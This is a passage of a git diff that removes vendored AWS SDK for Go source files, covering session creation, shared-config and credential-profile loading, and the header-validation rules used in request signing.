provided -var ErrSharedConfigInvalidCredSource = awserr.New(ErrCodeSharedConfig, "credential source values must be EcsContainer, Ec2InstanceMetadata, or Environment", nil) - -// A Session provides a central location to create service clients from and -// store configurations and request handlers for those services. -// -// Sessions are safe to create service clients concurrently, but it is not safe -// to mutate the Session concurrently. -// -// The Session satisfies the service client's client.ConfigProvider. -type Session struct { - Config *aws.Config - Handlers request.Handlers -} - -// New creates a new instance of the handlers merging in the provided configs -// on top of the SDK's default configurations. Once the Session is created it -// can be mutated to modify the Config or Handlers. The Session is safe to be -// read concurrently, but it should not be written to concurrently. -// -// If the AWS_SDK_LOAD_CONFIG environment is set to a truthy value, the New -// method could now encounter an error when loading the configuration. When -// The environment variable is set, and an error occurs, New will return a -// session that will fail all requests reporting the error that occurred while -// loading the session. Use NewSession to get the error when creating the -// session. -// -// If the AWS_SDK_LOAD_CONFIG environment variable is set to a truthy value -// the shared config file (~/.aws/config) will also be loaded, in addition to -// the shared credentials file (~/.aws/credentials). Values set in both the -// shared config, and shared credentials will be taken from the shared -// credentials file. -// -// Deprecated: Use NewSession functions to create sessions instead. NewSession -// has the same functionality as New except an error can be returned when the -// func is called instead of waiting to receive an error until a request is made. -func New(cfgs ...*aws.Config) *Session { - // load initial config from environment - envCfg := loadEnvConfig() - - if envCfg.EnableSharedConfig { - var cfg aws.Config - cfg.MergeIn(cfgs...) - s, err := NewSessionWithOptions(Options{ - Config: cfg, - SharedConfigState: SharedConfigEnable, - }) - if err != nil { - // Old session.New expected all errors to be discovered when - // a request is made, and would report the errors then. This - // needs to be replicated if an error occurs while creating - // the session. - msg := "failed to create session with AWS_SDK_LOAD_CONFIG enabled. " + - "Use session.NewSession to handle errors occurring during session creation." - - // Session creation failed, need to report the error and prevent - // any requests from succeeding. - s = &Session{Config: defaults.Config()} - s.Config.MergeIn(cfgs...) - s.Config.Logger.Log("ERROR:", msg, "Error:", err) - s.Handlers.Validate.PushBack(func(r *request.Request) { - r.Error = err - }) - } - - return s - } - - s := deprecatedNewSession(cfgs...) - if envCfg.CSMEnabled { - enableCSM(&s.Handlers, envCfg.CSMClientID, envCfg.CSMPort, s.Config.Logger) - } - - return s -} - -// NewSession returns a new Session created from SDK defaults, config files, -// environment, and user provided config files. Once the Session is created -// it can be mutated to modify the Config or Handlers. The Session is safe to -// be read concurrently, but it should not be written to concurrently. -// -// If the AWS_SDK_LOAD_CONFIG environment variable is set to a truthy value -// the shared config file (~/.aws/config) will also be loaded in addition to -// the shared credentials file (~/.aws/credentials). Values set in both the -// shared config, and shared credentials will be taken from the shared -// credentials file. Enabling the Shared Config will also allow the Session -// to be built with retrieving credentials with AssumeRole set in the config. -// -// See the NewSessionWithOptions func for information on how to override or -// control through code how the Session will be created. Such as specifying the -// config profile, and controlling if shared config is enabled or not. -func NewSession(cfgs ...*aws.Config) (*Session, error) { - opts := Options{} - opts.Config.MergeIn(cfgs...) - - return NewSessionWithOptions(opts) -} - -// SharedConfigState provides the ability to optionally override the state -// of the session's creation based on the shared config being enabled or -// disabled. -type SharedConfigState int - -const ( - // SharedConfigStateFromEnv does not override any state of the - // AWS_SDK_LOAD_CONFIG env var. It is the default value of the - // SharedConfigState type. - SharedConfigStateFromEnv SharedConfigState = iota - - // SharedConfigDisable overrides the AWS_SDK_LOAD_CONFIG env var value - // and disables the shared config functionality. - SharedConfigDisable - - // SharedConfigEnable overrides the AWS_SDK_LOAD_CONFIG env var value - // and enables the shared config functionality. - SharedConfigEnable -) - -// Options provides the means to control how a Session is created and what -// configuration values will be loaded. -// -type Options struct { - // Provides config values for the SDK to use when creating service clients - // and making API requests to services. Any value set in with this field - // will override the associated value provided by the SDK defaults, - // environment or config files where relevant. - // - // If not set, configuration values from from SDK defaults, environment, - // config will be used. - Config aws.Config - - // Overrides the config profile the Session should be created from. If not - // set the value of the environment variable will be loaded (AWS_PROFILE, - // or AWS_DEFAULT_PROFILE if the Shared Config is enabled). - // - // If not set and environment variables are not set the "default" - // (DefaultSharedConfigProfile) will be used as the profile to load the - // session config from. - Profile string - - // Instructs how the Session will be created based on the AWS_SDK_LOAD_CONFIG - // environment variable. By default a Session will be created using the - // value provided by the AWS_SDK_LOAD_CONFIG environment variable. - // - // Setting this value to SharedConfigEnable or SharedConfigDisable - // will allow you to override the AWS_SDK_LOAD_CONFIG environment variable - // and enable or disable the shared config functionality. - SharedConfigState SharedConfigState - - // Ordered list of files the session will load configuration from. - // It will override environment variable AWS_SHARED_CREDENTIALS_FILE, AWS_CONFIG_FILE. - SharedConfigFiles []string - - // When the SDK's shared config is configured to assume a role with MFA - // this option is required in order to provide the mechanism that will - // retrieve the MFA token. There is no default value for this field. If - // it is not set an error will be returned when creating the session. - // - // This token provider will be called when ever the assumed role's - // credentials need to be refreshed. Within the context of service clients - // all sharing the same session the SDK will ensure calls to the token - // provider are atomic. When sharing a token provider across multiple - // sessions additional synchronization logic is needed to ensure the - // token providers do not introduce race conditions. It is recommend to - // share the session where possible. - // - // stscreds.StdinTokenProvider is a basic implementation that will prompt - // from stdin for the MFA token code. - // - // This field is only used if the shared configuration is enabled, and - // the config enables assume role wit MFA via the mfa_serial field. - AssumeRoleTokenProvider func() (string, error) - - // Reader for a custom Credentials Authority (CA) bundle in PEM format that - // the SDK will use instead of the default system's root CA bundle. Use this - // only if you want to replace the CA bundle the SDK uses for TLS requests. - // - // Enabling this option will attempt to merge the Transport into the SDK's HTTP - // client. If the client's Transport is not a http.Transport an error will be - // returned. If the Transport's TLS config is set this option will cause the SDK - // to overwrite the Transport's TLS config's RootCAs value. If the CA - // bundle reader contains multiple certificates all of them will be loaded. - // - // The Session option CustomCABundle is also available when creating sessions - // to also enable this feature. CustomCABundle session option field has priority - // over the AWS_CA_BUNDLE environment variable, and will be used if both are set. - CustomCABundle io.Reader -} - -// NewSessionWithOptions returns a new Session created from SDK defaults, config files, -// environment, and user provided config files. This func uses the Options -// values to configure how the Session is created. -// -// If the AWS_SDK_LOAD_CONFIG environment variable is set to a truthy value -// the shared config file (~/.aws/config) will also be loaded in addition to -// the shared credentials file (~/.aws/credentials). Values set in both the -// shared config, and shared credentials will be taken from the shared -// credentials file. Enabling the Shared Config will also allow the Session -// to be built with retrieving credentials with AssumeRole set in the config. -// -// // Equivalent to session.New -// sess := session.Must(session.NewSessionWithOptions(session.Options{})) -// -// // Specify profile to load for the session's config -// sess := session.Must(session.NewSessionWithOptions(session.Options{ -// Profile: "profile_name", -// })) -// -// // Specify profile for config and region for requests -// sess := session.Must(session.NewSessionWithOptions(session.Options{ -// Config: aws.Config{Region: aws.String("us-east-1")}, -// Profile: "profile_name", -// })) -// -// // Force enable Shared Config support -// sess := session.Must(session.NewSessionWithOptions(session.Options{ -// SharedConfigState: session.SharedConfigEnable, -// })) -func NewSessionWithOptions(opts Options) (*Session, error) { - var envCfg envConfig - if opts.SharedConfigState == SharedConfigEnable { - envCfg = loadSharedEnvConfig() - } else { - envCfg = loadEnvConfig() - } - - if len(opts.Profile) > 0 { - envCfg.Profile = opts.Profile - } - - switch opts.SharedConfigState { - case SharedConfigDisable: - envCfg.EnableSharedConfig = false - case SharedConfigEnable: - envCfg.EnableSharedConfig = true - } - - // Only use AWS_CA_BUNDLE if session option is not provided. - if len(envCfg.CustomCABundle) != 0 && opts.CustomCABundle == nil { - f, err := os.Open(envCfg.CustomCABundle) - if err != nil { - return nil, awserr.New("LoadCustomCABundleError", - "failed to open custom CA bundle PEM file", err) - } - defer f.Close() - opts.CustomCABundle = f - } - - return newSession(opts, envCfg, &opts.Config) -} - -// Must is a helper function to ensure the Session is valid and there was no -// error when calling a NewSession function. -// -// This helper is intended to be used in variable initialization to load the -// Session and configuration at startup. Such as: -// -// var sess = session.Must(session.NewSession()) -func Must(sess *Session, err error) *Session { - if err != nil { - panic(err) - } - - return sess -} - -func deprecatedNewSession(cfgs ...*aws.Config) *Session { - cfg := defaults.Config() - handlers := defaults.Handlers() - - // Apply the passed in configs so the configuration can be applied to the - // default credential chain - cfg.MergeIn(cfgs...) - if cfg.EndpointResolver == nil { - // An endpoint resolver is required for a session to be able to provide - // endpoints for service client configurations. - cfg.EndpointResolver = endpoints.DefaultResolver() - } - cfg.Credentials = defaults.CredChain(cfg, handlers) - - // Reapply any passed in configs to override credentials if set - cfg.MergeIn(cfgs...) - - s := &Session{ - Config: cfg, - Handlers: handlers, - } - - initHandlers(s) - return s -} - -func enableCSM(handlers *request.Handlers, clientID string, port string, logger aws.Logger) { - logger.Log("Enabling CSM") - if len(port) == 0 { - port = csm.DefaultPort - } - - r, err := csm.Start(clientID, "127.0.0.1:"+port) - if err != nil { - return - } - r.InjectHandlers(handlers) -} - -func newSession(opts Options, envCfg envConfig, cfgs ...*aws.Config) (*Session, error) { - cfg := defaults.Config() - handlers := defaults.Handlers() - - // Get a merged version of the user provided config to determine if - // credentials were. - userCfg := &aws.Config{} - userCfg.MergeIn(cfgs...) - - // Ordered config files will be loaded in with later files overwriting - // previous config file values. - var cfgFiles []string - if opts.SharedConfigFiles != nil { - cfgFiles = opts.SharedConfigFiles - } else { - cfgFiles = []string{envCfg.SharedConfigFile, envCfg.SharedCredentialsFile} - if !envCfg.EnableSharedConfig { - // The shared config file (~/.aws/config) is only loaded if instructed - // to load via the envConfig.EnableSharedConfig (AWS_SDK_LOAD_CONFIG). - cfgFiles = cfgFiles[1:] - } - } - - // Load additional config from file(s) - sharedCfg, err := loadSharedConfig(envCfg.Profile, cfgFiles) - if err != nil { - return nil, err - } - - if err := mergeConfigSrcs(cfg, userCfg, envCfg, sharedCfg, handlers, opts); err != nil { - return nil, err - } - - s := &Session{ - Config: cfg, - Handlers: handlers, - } - - initHandlers(s) - if envCfg.CSMEnabled { - enableCSM(&s.Handlers, envCfg.CSMClientID, envCfg.CSMPort, s.Config.Logger) - } - - // Setup HTTP client with custom cert bundle if enabled - if opts.CustomCABundle != nil { - if err := loadCustomCABundle(s, opts.CustomCABundle); err != nil { - return nil, err - } - } - - return s, nil -} - -func loadCustomCABundle(s *Session, bundle io.Reader) error { - var t *http.Transport - switch v := s.Config.HTTPClient.Transport.(type) { - case *http.Transport: - t = v - default: - if s.Config.HTTPClient.Transport != nil { - return awserr.New("LoadCustomCABundleError", - "unable to load custom CA bundle, HTTPClient's transport unsupported type", nil) - } - } - if t == nil { - // Nil transport implies `http.DefaultTransport` should be used. Since - // the SDK cannot modify, nor copy the `DefaultTransport` specifying - // the values the next closest behavior. - t = getCABundleTransport() - } - - p, err := loadCertPool(bundle) - if err != nil { - return err - } - if t.TLSClientConfig == nil { - t.TLSClientConfig = &tls.Config{} - } - t.TLSClientConfig.RootCAs = p - - s.Config.HTTPClient.Transport = t - - return nil -} - -func loadCertPool(r io.Reader) (*x509.CertPool, error) { - b, err := ioutil.ReadAll(r) - if err != nil { - return nil, awserr.New("LoadCustomCABundleError", - "failed to read custom CA bundle PEM file", err) - } - - p := x509.NewCertPool() - if !p.AppendCertsFromPEM(b) { - return nil, awserr.New("LoadCustomCABundleError", - "failed to load custom CA bundle PEM file", err) - } - - return p, nil -} - -func mergeConfigSrcs(cfg, userCfg *aws.Config, envCfg envConfig, sharedCfg sharedConfig, handlers request.Handlers, sessOpts Options) error { - // Merge in user provided configuration - cfg.MergeIn(userCfg) - - // Region if not already set by user - if len(aws.StringValue(cfg.Region)) == 0 { - if len(envCfg.Region) > 0 { - cfg.WithRegion(envCfg.Region) - } else if envCfg.EnableSharedConfig && len(sharedCfg.Region) > 0 { - cfg.WithRegion(sharedCfg.Region) - } - } - - if cfg.EnableEndpointDiscovery == nil { - if envCfg.EnableEndpointDiscovery != nil { - cfg.WithEndpointDiscovery(*envCfg.EnableEndpointDiscovery) - } else if envCfg.EnableSharedConfig && sharedCfg.EnableEndpointDiscovery != nil { - cfg.WithEndpointDiscovery(*sharedCfg.EnableEndpointDiscovery) - } - } - - // Configure credentials if not already set - if cfg.Credentials == credentials.AnonymousCredentials && userCfg.Credentials == nil { - - // inspect the profile to see if a credential source has been specified. - if envCfg.EnableSharedConfig && len(sharedCfg.AssumeRole.CredentialSource) > 0 { - - // if both credential_source and source_profile have been set, return an error - // as this is undefined behavior. - if len(sharedCfg.AssumeRole.SourceProfile) > 0 { - return ErrSharedConfigSourceCollision - } - - // valid credential source values - const ( - credSourceEc2Metadata = "Ec2InstanceMetadata" - credSourceEnvironment = "Environment" - credSourceECSContainer = "EcsContainer" - ) - - switch sharedCfg.AssumeRole.CredentialSource { - case credSourceEc2Metadata: - cfgCp := *cfg - p := defaults.RemoteCredProvider(cfgCp, handlers) - cfgCp.Credentials = credentials.NewCredentials(p) - - if len(sharedCfg.AssumeRole.MFASerial) > 0 && sessOpts.AssumeRoleTokenProvider == nil { - // AssumeRole Token provider is required if doing Assume Role - // with MFA. - return AssumeRoleTokenProviderNotSetError{} - } - - cfg.Credentials = assumeRoleCredentials(cfgCp, handlers, sharedCfg, sessOpts) - case credSourceEnvironment: - cfg.Credentials = credentials.NewStaticCredentialsFromCreds( - envCfg.Creds, - ) - case credSourceECSContainer: - if len(os.Getenv(shareddefaults.ECSCredsProviderEnvVar)) == 0 { - return ErrSharedConfigECSContainerEnvVarEmpty - } - - cfgCp := *cfg - p := defaults.RemoteCredProvider(cfgCp, handlers) - creds := credentials.NewCredentials(p) - - cfg.Credentials = creds - default: - return ErrSharedConfigInvalidCredSource - } - - return nil - } - - if len(envCfg.Creds.AccessKeyID) > 0 { - cfg.Credentials = credentials.NewStaticCredentialsFromCreds( - envCfg.Creds, - ) - } else if envCfg.EnableSharedConfig && len(sharedCfg.AssumeRole.RoleARN) > 0 && sharedCfg.AssumeRoleSource != nil { - cfgCp := *cfg - cfgCp.Credentials = credentials.NewStaticCredentialsFromCreds( - sharedCfg.AssumeRoleSource.Creds, - ) - - if len(sharedCfg.AssumeRole.MFASerial) > 0 && sessOpts.AssumeRoleTokenProvider == nil { - // AssumeRole Token provider is required if doing Assume Role - // with MFA. - return AssumeRoleTokenProviderNotSetError{} - } - - cfg.Credentials = assumeRoleCredentials(cfgCp, handlers, sharedCfg, sessOpts) - } else if len(sharedCfg.Creds.AccessKeyID) > 0 { - cfg.Credentials = credentials.NewStaticCredentialsFromCreds( - sharedCfg.Creds, - ) - } else if len(sharedCfg.CredentialProcess) > 0 { - cfg.Credentials = processcreds.NewCredentials( - sharedCfg.CredentialProcess, - ) - } else { - // Fallback to default credentials provider, include mock errors - // for the credential chain so user can identify why credentials - // failed to be retrieved. - cfg.Credentials = credentials.NewCredentials(&credentials.ChainProvider{ - VerboseErrors: aws.BoolValue(cfg.CredentialsChainVerboseErrors), - Providers: []credentials.Provider{ - &credProviderError{Err: awserr.New("EnvAccessKeyNotFound", "failed to find credentials in the environment.", nil)}, - &credProviderError{Err: awserr.New("SharedCredsLoad", fmt.Sprintf("failed to load profile, %s.", envCfg.Profile), nil)}, - defaults.RemoteCredProvider(*cfg, handlers), - }, - }) - } - } - - return nil -} - -func assumeRoleCredentials(cfg aws.Config, handlers request.Handlers, sharedCfg sharedConfig, sessOpts Options) *credentials.Credentials { - return stscreds.NewCredentials( - &Session{ - Config: &cfg, - Handlers: handlers.Copy(), - }, - sharedCfg.AssumeRole.RoleARN, - func(opt *stscreds.AssumeRoleProvider) { - opt.RoleSessionName = sharedCfg.AssumeRole.RoleSessionName - - // Assume role with external ID - if len(sharedCfg.AssumeRole.ExternalID) > 0 { - opt.ExternalID = aws.String(sharedCfg.AssumeRole.ExternalID) - } - - // Assume role with MFA - if len(sharedCfg.AssumeRole.MFASerial) > 0 { - opt.SerialNumber = aws.String(sharedCfg.AssumeRole.MFASerial) - opt.TokenProvider = sessOpts.AssumeRoleTokenProvider - } - }, - ) -} - -// AssumeRoleTokenProviderNotSetError is an error returned when creating a session when the -// MFAToken option is not set when shared config is configured load assume a -// role with an MFA token. -type AssumeRoleTokenProviderNotSetError struct{} - -// Code is the short id of the error. -func (e AssumeRoleTokenProviderNotSetError) Code() string { - return "AssumeRoleTokenProviderNotSetError" -} - -// Message is the description of the error -func (e AssumeRoleTokenProviderNotSetError) Message() string { - return fmt.Sprintf("assume role with MFA enabled, but AssumeRoleTokenProvider session option not set.") -} - -// OrigErr is the underlying error that caused the failure. -func (e AssumeRoleTokenProviderNotSetError) OrigErr() error { - return nil -} - -// Error satisfies the error interface. -func (e AssumeRoleTokenProviderNotSetError) Error() string { - return awserr.SprintError(e.Code(), e.Message(), "", nil) -} - -type credProviderError struct { - Err error -} - -var emptyCreds = credentials.Value{} - -func (c credProviderError) Retrieve() (credentials.Value, error) { - return credentials.Value{}, c.Err -} -func (c credProviderError) IsExpired() bool { - return true -} - -func initHandlers(s *Session) { - // Add the Validate parameter handler if it is not disabled. - s.Handlers.Validate.Remove(corehandlers.ValidateParametersHandler) - if !aws.BoolValue(s.Config.DisableParamValidation) { - s.Handlers.Validate.PushBackNamed(corehandlers.ValidateParametersHandler) - } -} - -// Copy creates and returns a copy of the current Session, coping the config -// and handlers. If any additional configs are provided they will be merged -// on top of the Session's copied config. -// -// // Create a copy of the current Session, configured for the us-west-2 region. -// sess.Copy(&aws.Config{Region: aws.String("us-west-2")}) -func (s *Session) Copy(cfgs ...*aws.Config) *Session { - newSession := &Session{ - Config: s.Config.Copy(cfgs...), - Handlers: s.Handlers.Copy(), - } - - initHandlers(newSession) - - return newSession -} - -// ClientConfig satisfies the client.ConfigProvider interface and is used to -// configure the service client instances. Passing the Session to the service -// client's constructor (New) will use this method to configure the client. -func (s *Session) ClientConfig(serviceName string, cfgs ...*aws.Config) client.Config { - // Backwards compatibility, the error will be eaten if user calls ClientConfig - // directly. All SDK services will use ClientconfigWithError. - cfg, _ := s.clientConfigWithErr(serviceName, cfgs...) - - return cfg -} - -func (s *Session) clientConfigWithErr(serviceName string, cfgs ...*aws.Config) (client.Config, error) { - s = s.Copy(cfgs...) - - var resolved endpoints.ResolvedEndpoint - var err error - - region := aws.StringValue(s.Config.Region) - - if endpoint := aws.StringValue(s.Config.Endpoint); len(endpoint) != 0 { - resolved.URL = endpoints.AddScheme(endpoint, aws.BoolValue(s.Config.DisableSSL)) - resolved.SigningRegion = region - } else { - resolved, err = s.Config.EndpointResolver.EndpointFor( - serviceName, region, - func(opt *endpoints.Options) { - opt.DisableSSL = aws.BoolValue(s.Config.DisableSSL) - opt.UseDualStack = aws.BoolValue(s.Config.UseDualStack) - - // Support the condition where the service is modeled but its - // endpoint metadata is not available. - opt.ResolveUnknownService = true - }, - ) - } - - return client.Config{ - Config: s.Config, - Handlers: s.Handlers, - Endpoint: resolved.URL, - SigningRegion: resolved.SigningRegion, - SigningNameDerived: resolved.SigningNameDerived, - SigningName: resolved.SigningName, - }, err -} - -// ClientConfigNoResolveEndpoint is the same as ClientConfig with the exception -// that the EndpointResolver will not be used to resolve the endpoint. The only -// endpoint set must come from the aws.Config.Endpoint field. -func (s *Session) ClientConfigNoResolveEndpoint(cfgs ...*aws.Config) client.Config { - s = s.Copy(cfgs...) - - var resolved endpoints.ResolvedEndpoint - - region := aws.StringValue(s.Config.Region) - - if ep := aws.StringValue(s.Config.Endpoint); len(ep) > 0 { - resolved.URL = endpoints.AddScheme(ep, aws.BoolValue(s.Config.DisableSSL)) - resolved.SigningRegion = region - } - - return client.Config{ - Config: s.Config, - Handlers: s.Handlers, - Endpoint: resolved.URL, - SigningRegion: resolved.SigningRegion, - SigningNameDerived: resolved.SigningNameDerived, - SigningName: resolved.SigningName, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/shared_config.go b/vendor/github.com/aws/aws-sdk-go/aws/session/shared_config.go deleted file mode 100644 index 7cb44021b3..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/shared_config.go +++ /dev/null @@ -1,329 +0,0 @@ -package session - -import ( - "fmt" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/credentials" - - "github.com/aws/aws-sdk-go/internal/ini" -) - -const ( - // Static Credentials group - accessKeyIDKey = `aws_access_key_id` // group required - secretAccessKey = `aws_secret_access_key` // group required - sessionTokenKey = `aws_session_token` // optional - - // Assume Role Credentials group - roleArnKey = `role_arn` // group required - sourceProfileKey = `source_profile` // group required (or credential_source) - credentialSourceKey = `credential_source` // group required (or source_profile) - externalIDKey = `external_id` // optional - mfaSerialKey = `mfa_serial` // optional - roleSessionNameKey = `role_session_name` // optional - - // Additional Config fields - regionKey = `region` - - // endpoint discovery group - enableEndpointDiscoveryKey = `endpoint_discovery_enabled` // optional - // External Credential Process - credentialProcessKey = `credential_process` - - // DefaultSharedConfigProfile is the default profile to be used when - // loading configuration from the config files if another profile name - // is not provided. - DefaultSharedConfigProfile = `default` -) - -type assumeRoleConfig struct { - RoleARN string - SourceProfile string - CredentialSource string - ExternalID string - MFASerial string - RoleSessionName string -} - -// sharedConfig represents the configuration fields of the SDK config files. -type sharedConfig struct { - // Credentials values from the config file. Both aws_access_key_id - // and aws_secret_access_key must be provided together in the same file - // to be considered valid. The values will be ignored if not a complete group. - // aws_session_token is an optional field that can be provided if both of the - // other two fields are also provided. - // - // aws_access_key_id - // aws_secret_access_key - // aws_session_token - Creds credentials.Value - - AssumeRole assumeRoleConfig - AssumeRoleSource *sharedConfig - - // An external process to request credentials - CredentialProcess string - - // Region is the region the SDK should use for looking up AWS service endpoints - // and signing requests. - // - // region - Region string - - // EnableEndpointDiscovery can be enabled in the shared config by setting - // endpoint_discovery_enabled to true - // - // endpoint_discovery_enabled = true - EnableEndpointDiscovery *bool -} - -type sharedConfigFile struct { - Filename string - IniData ini.Sections -} - -// loadSharedConfig retrieves the configuration from the list of files -// using the profile provided. The order the files are listed will determine -// precedence. Values in subsequent files will overwrite values defined in -// earlier files. -// -// For example, given two files A and B. Both define credentials. If the order -// of the files are A then B, B's credential values will be used instead of A's. -// -// See sharedConfig.setFromFile for information how the config files -// will be loaded. -func loadSharedConfig(profile string, filenames []string) (sharedConfig, error) { - if len(profile) == 0 { - profile = DefaultSharedConfigProfile - } - - files, err := loadSharedConfigIniFiles(filenames) - if err != nil { - return sharedConfig{}, err - } - - cfg := sharedConfig{} - if err = cfg.setFromIniFiles(profile, files); err != nil { - return sharedConfig{}, err - } - - if len(cfg.AssumeRole.SourceProfile) > 0 { - if err := cfg.setAssumeRoleSource(profile, files); err != nil { - return sharedConfig{}, err - } - } - - return cfg, nil -} - -func loadSharedConfigIniFiles(filenames []string) ([]sharedConfigFile, error) { - files := make([]sharedConfigFile, 0, len(filenames)) - - for _, filename := range filenames { - sections, err := ini.OpenFile(filename) - if aerr, ok := err.(awserr.Error); ok && aerr.Code() == ini.ErrCodeUnableToReadFile { - // Skip files which can't be opened and read for whatever reason - continue - } else if err != nil { - return nil, SharedConfigLoadError{Filename: filename, Err: err} - } - - files = append(files, sharedConfigFile{ - Filename: filename, IniData: sections, - }) - } - - return files, nil -} - -func (cfg *sharedConfig) setAssumeRoleSource(origProfile string, files []sharedConfigFile) error { - var assumeRoleSrc sharedConfig - - if len(cfg.AssumeRole.CredentialSource) > 0 { - // setAssumeRoleSource is only called when source_profile is found. - // If both source_profile and credential_source are set, then - // ErrSharedConfigSourceCollision will be returned - return ErrSharedConfigSourceCollision - } - - // Multiple level assume role chains are not support - if cfg.AssumeRole.SourceProfile == origProfile { - assumeRoleSrc = *cfg - assumeRoleSrc.AssumeRole = assumeRoleConfig{} - } else { - err := assumeRoleSrc.setFromIniFiles(cfg.AssumeRole.SourceProfile, files) - if err != nil { - return err - } - } - - if len(assumeRoleSrc.Creds.AccessKeyID) == 0 { - return SharedConfigAssumeRoleError{RoleARN: cfg.AssumeRole.RoleARN} - } - - cfg.AssumeRoleSource = &assumeRoleSrc - - return nil -} - -func (cfg *sharedConfig) setFromIniFiles(profile string, files []sharedConfigFile) error { - // Trim files from the list that don't exist. - for _, f := range files { - if err := cfg.setFromIniFile(profile, f); err != nil { - if _, ok := err.(SharedConfigProfileNotExistsError); ok { - // Ignore proviles missings - continue - } - return err - } - } - - return nil -} - -// setFromFile loads the configuration from the file using -// the profile provided. A sharedConfig pointer type value is used so that -// multiple config file loadings can be chained. -// -// Only loads complete logically grouped values, and will not set fields in cfg -// for incomplete grouped values in the config. Such as credentials. For example -// if a config file only includes aws_access_key_id but no aws_secret_access_key -// the aws_access_key_id will be ignored. -func (cfg *sharedConfig) setFromIniFile(profile string, file sharedConfigFile) error { - section, ok := file.IniData.GetSection(profile) - if !ok { - // Fallback to to alternate profile name: profile - section, ok = file.IniData.GetSection(fmt.Sprintf("profile %s", profile)) - if !ok { - return SharedConfigProfileNotExistsError{Profile: profile, Err: nil} - } - } - - // Shared Credentials - akid := section.String(accessKeyIDKey) - secret := section.String(secretAccessKey) - if len(akid) > 0 && len(secret) > 0 { - cfg.Creds = credentials.Value{ - AccessKeyID: akid, - SecretAccessKey: secret, - SessionToken: section.String(sessionTokenKey), - ProviderName: fmt.Sprintf("SharedConfigCredentials: %s", file.Filename), - } - } - - // Assume Role - roleArn := section.String(roleArnKey) - srcProfile := section.String(sourceProfileKey) - credentialSource := section.String(credentialSourceKey) - hasSource := len(srcProfile) > 0 || len(credentialSource) > 0 - if len(roleArn) > 0 && hasSource { - cfg.AssumeRole = assumeRoleConfig{ - RoleARN: roleArn, - SourceProfile: srcProfile, - CredentialSource: credentialSource, - ExternalID: section.String(externalIDKey), - MFASerial: section.String(mfaSerialKey), - RoleSessionName: section.String(roleSessionNameKey), - } - } - - // `credential_process` - if credProc := section.String(credentialProcessKey); len(credProc) > 0 { - cfg.CredentialProcess = credProc - } - - // Region - if v := section.String(regionKey); len(v) > 0 { - cfg.Region = v - } - - // Endpoint discovery - if section.Has(enableEndpointDiscoveryKey) { - v := section.Bool(enableEndpointDiscoveryKey) - cfg.EnableEndpointDiscovery = &v - } - - return nil -} - -// SharedConfigLoadError is an error for the shared config file failed to load. -type SharedConfigLoadError struct { - Filename string - Err error -} - -// Code is the short id of the error. -func (e SharedConfigLoadError) Code() string { - return "SharedConfigLoadError" -} - -// Message is the description of the error -func (e SharedConfigLoadError) Message() string { - return fmt.Sprintf("failed to load config file, %s", e.Filename) -} - -// OrigErr is the underlying error that caused the failure. -func (e SharedConfigLoadError) OrigErr() error { - return e.Err -} - -// Error satisfies the error interface. -func (e SharedConfigLoadError) Error() string { - return awserr.SprintError(e.Code(), e.Message(), "", e.Err) -} - -// SharedConfigProfileNotExistsError is an error for the shared config when -// the profile was not find in the config file. -type SharedConfigProfileNotExistsError struct { - Profile string - Err error -} - -// Code is the short id of the error. -func (e SharedConfigProfileNotExistsError) Code() string { - return "SharedConfigProfileNotExistsError" -} - -// Message is the description of the error -func (e SharedConfigProfileNotExistsError) Message() string { - return fmt.Sprintf("failed to get profile, %s", e.Profile) -} - -// OrigErr is the underlying error that caused the failure. -func (e SharedConfigProfileNotExistsError) OrigErr() error { - return e.Err -} - -// Error satisfies the error interface. -func (e SharedConfigProfileNotExistsError) Error() string { - return awserr.SprintError(e.Code(), e.Message(), "", e.Err) -} - -// SharedConfigAssumeRoleError is an error for the shared config when the -// profile contains assume role information, but that information is invalid -// or not complete. -type SharedConfigAssumeRoleError struct { - RoleARN string -} - -// Code is the short id of the error. -func (e SharedConfigAssumeRoleError) Code() string { - return "SharedConfigAssumeRoleError" -} - -// Message is the description of the error -func (e SharedConfigAssumeRoleError) Message() string { - return fmt.Sprintf("failed to load assume role for %s, source profile has no shared credentials", - e.RoleARN) -} - -// OrigErr is the underlying error that caused the failure. -func (e SharedConfigAssumeRoleError) OrigErr() error { - return nil -} - -// Error satisfies the error interface. -func (e SharedConfigAssumeRoleError) Error() string { - return awserr.SprintError(e.Code(), e.Message(), "", nil) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/header_rules.go b/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/header_rules.go deleted file mode 100644 index 244c86da05..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/header_rules.go +++ /dev/null @@ -1,82 +0,0 @@ -package v4 - -import ( - "net/http" - "strings" -) - -// validator houses a set of rule needed for validation of a -// string value -type rules []rule - -// rule interface allows for more flexible rules and just simply -// checks whether or not a value adheres to that rule -type rule interface { - IsValid(value string) bool -} - -// IsValid will iterate through all rules and see if any rules -// apply to the value and supports nested rules -func (r rules) IsValid(value string) bool { - for _, rule := range r { - if rule.IsValid(value) { - return true - } - } - return false -} - -// mapRule generic rule for maps -type mapRule map[string]struct{} - -// IsValid for the map rule satisfies whether it exists in the map -func (m mapRule) IsValid(value string) bool { - _, ok := m[value] - return ok -} - -// whitelist is a generic rule for whitelisting -type whitelist struct { - rule -} - -// IsValid for whitelist checks if the value is within the whitelist -func (w whitelist) IsValid(value string) bool { - return w.rule.IsValid(value) -} - -// blacklist is a generic rule for blacklisting -type blacklist struct { - rule -} - -// IsValid for whitelist checks if the value is within the whitelist -func (b blacklist) IsValid(value string) bool { - return !b.rule.IsValid(value) -} - -type patterns []string - -// IsValid for patterns checks each pattern and returns if a match has -// been found -func (p patterns) IsValid(value string) bool { - for _, pattern := range p { - if strings.HasPrefix(http.CanonicalHeaderKey(value), pattern) { - return true - } - } - return false -} - -// inclusiveRules rules allow for rules to depend on one another -type inclusiveRules []rule - -// IsValid will return true if all rules are true -func (r inclusiveRules) IsValid(value string) bool { - for _, rule := range r { - if !rule.IsValid(value) { - return false - } - } - return true -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/options.go b/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/options.go deleted file mode 100644 index 6aa2ed241b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/signer/v4/options.go +++ /dev/null @@ -1,7 +0,0 @@ -package v4 - -// WithUnsignedPayload will enable and set the UnsignedPayload field to -// true of the signer. -func 